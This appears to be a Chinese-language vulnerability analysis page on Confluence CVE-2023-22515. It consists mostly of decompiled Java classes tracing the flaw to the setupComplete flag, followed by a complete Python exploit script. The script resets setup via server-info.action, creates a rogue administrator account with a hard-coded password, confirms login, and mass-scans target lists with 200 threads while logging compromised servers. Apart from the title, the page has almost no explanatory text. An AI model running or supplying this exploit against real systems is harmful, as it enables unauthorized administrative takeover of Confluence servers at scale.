【漏洞分析】Confluence 数据中心和服务器中的严峻漏洞 CVE-2023-22515 - ToB企服应用市场:ToB评测及商务社交产业平台

package com.atlassian.confluence.core.actions;
import com.atlassian.annotations.security.XsrfProtectionExcluded;
import com.atlassian.confluence.core.ConfluenceActionSupport;
import com.atlassian.confluence.security.access.annotations.PublicAccess;
import com.atlassian.xwork.HttpMethod;
import com.atlassian.xwork.PermittedMethods;
public class ServerInfoAction extends ConfluenceActionSupport {
@PermittedMethods({HttpMethod.ANY_METHOD})
@XsrfProtectionExcluded
@PublicAccess
public String execute() throws Exception {
return "success";
}
}

复制代码

package com.atlassian.confluence.core;
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}

复制代码

package com.atlassian.confluence.impl.setup;
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
private static final Supplier instance = (Supplier)Suppliers.memoize(BootstrapStatusProviderImpl::initialiseBootstrapStatusProvider);
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}

复制代码

public interface ApplicationConfiguration {
String getApplicationHome();
void setApplicationHome(String paramString) throws ConfigurationException;
boolean isApplicationHomeValid();
void setProperty(Object paramObject1, Object paramObject2);
void setBuildNumber(String paramString);
boolean isSetupComplete();
void setSetupComplete(boolean paramBoolean); //
void setConfigurationPersister(ConfigurationPersister paramConfigurationPersister);
void setConfigurationFileName(String paramString);
}

复制代码

package com.atlassian.config;
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}

复制代码

bootstrapStatusProvider.applicationConfig.setupComplete=false

复制代码

import jsonimport fireimport requestsfrom rich import printfrom alive_progress import alive_barfrom concurrent.futures import ThreadPoolExecutorHEADERS = { "X-Atlassian-Token": "no-check", "User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"}requests.packages.urllib3.disable_warnings()class Confluence: def __init__(self, base_url, verbose=False, output_file=None): self.base_url = base_url self.verbose = verbose self.username = "pleasepatch" self.password = "Password2" self.output_file = output_file def send_request(self, method, url, auth=None, data=None): try: response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data) return response.status_code, response.text except requests.exceptions.RequestException as e: if self.verbose: print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}") return None, None def check_authentication(self): """Check authentication and retrieve user details.""" auth = (self.username, self.password) url = f"{self.base_url}/rest/api/user?username={self.username}" status, response = self.send_request("GET", url, auth=auth) if status == 200: try: user_info = json.loads(response.strip()) formatted_user_info = json.dumps(user_info, indent=2) if self.verbose: print(f"[bold green]
[*][bold white] Authenticated as "{self.username}" user\n") print(f"[[bold yellow]INFO[/bold yellow]] User Information: [white]{formatted_user_info}") except json.JSONDecodeError: return False return True else: if self.verbose: print(f"[bold red][-][/bold red] Authentication failed on REST API for {self.username}") return False def exploit(self): success_message = None if not self.trigger_vulnerability(): error_message = f"[bold red][-][/bold red] Failed to trigger vulnerability for {self.base_url}" elif not self.create_admin_account(): error_message = f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}" elif self.check_authentication(): success_message = f"[bold green]
[*][bold white] Successfully exploited {self.base_url} and logged in as admin!" else: error_message = f"[bold red][-][/bold red] Failed to authenticate with created admin account at {self.base_url}" if success_message: if not self.verbose: print(success_message) return success_message else: return error_message def trigger_vulnerability(self): status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
") return status == 200 def create_admin_account(self): data = { "username": self.username, "fullName": self.username, "email": f"{self.username}@localhost", "password": self.password, "confirm": self.password, "setup-next-button": "Next" } status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data) if status == 200: if self.verbose: print(f"[[bold yellow]INFO[/bold yellow]] Username: {self.username}") print(f"[[bold yellow]INFO[/bold yellow]] Password: {self.password}") if "Setup Successful" in response: if self.verbose: print("[bold green]
[*][bold white] Created new administrator successfully") self.save_to_output_file() elif "A user with this username already exists" in response: if self.verbose: print("[bold yellow][!][bold white] Administrator with this username already exists") self.save_to_output_file() else: if self.verbose: print(f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}") return status == 200 def save_to_output_file(self): if self.output_file: with open(self.output_file, 'a') as file: file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")class Exploit: """ Exploit script for CVE-2023-22515 - Confluence Vulnerability. This script attempts to exploit the CVE-2023-22515 vulnerability in Confluence to gain unauthorized access. """ def __init__(self): self.verbose = False def normal(self, target, output_file=None): """ Exploits the Confluence vulnerability using a single target URL. Args: target (str): The target URL to exploit. output_file (str, optional): File to save vulnerable servers. """ self.verbose = True exploit_target(target, verbose=self.verbose, output_file=output_file) def mass(self, filename, output_file=None): """ Exploits the Confluence vulnerability using a list of target URLs from a file. Args: filename (str): The name of the file containing a list of target URLs. output_file (str, optional): File to save vulnerable servers. """ with open(filename, 'r') as file: targets = [line.strip() for line in file.readlines() if line.strip()] scan_targets(targets, verbose=self.verbose, output_file=output_file) def scan_targets(targets, verbose=False, output_file=None): with alive_bar(len(targets), enrich_print=False) as bar: with ThreadPoolExecutor(max_workers=200) as executor: list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))def exploit_target(url, bar=None, verbose=False, output_file=None): Confluence(url, verbose=verbose, output_file=output_file).exploit() if bar: bar() if __name__ == "__main__": fire.Fire(Exploit)

复制代码